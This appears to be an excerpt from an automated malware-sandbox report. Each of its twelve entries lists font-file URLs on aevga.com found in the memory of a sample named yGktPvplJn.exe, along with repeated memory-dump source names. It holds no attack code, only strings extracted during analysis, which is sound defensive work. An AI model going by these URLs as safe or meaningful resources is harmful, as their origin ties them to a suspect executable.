Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLmg1hVGdeOcEg.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLmr19VF9eO.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLmr19VGdeOcEg.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLmv1pVF9eO.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLmv1pVGdeOcEg.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLmy15VF9eO.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLmy15VGdeOcEg.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiEyp8kv8JHgFVrJJfecg.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiEyp8kv8JHgFVrJJnecmNE.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiGyp8kv8JHgFVrJJLucHtA.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiGyp8kv8JHgFVrJJLufntAKPY.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiGyp8kv8JHgFVrLPTucHtA.woff2)
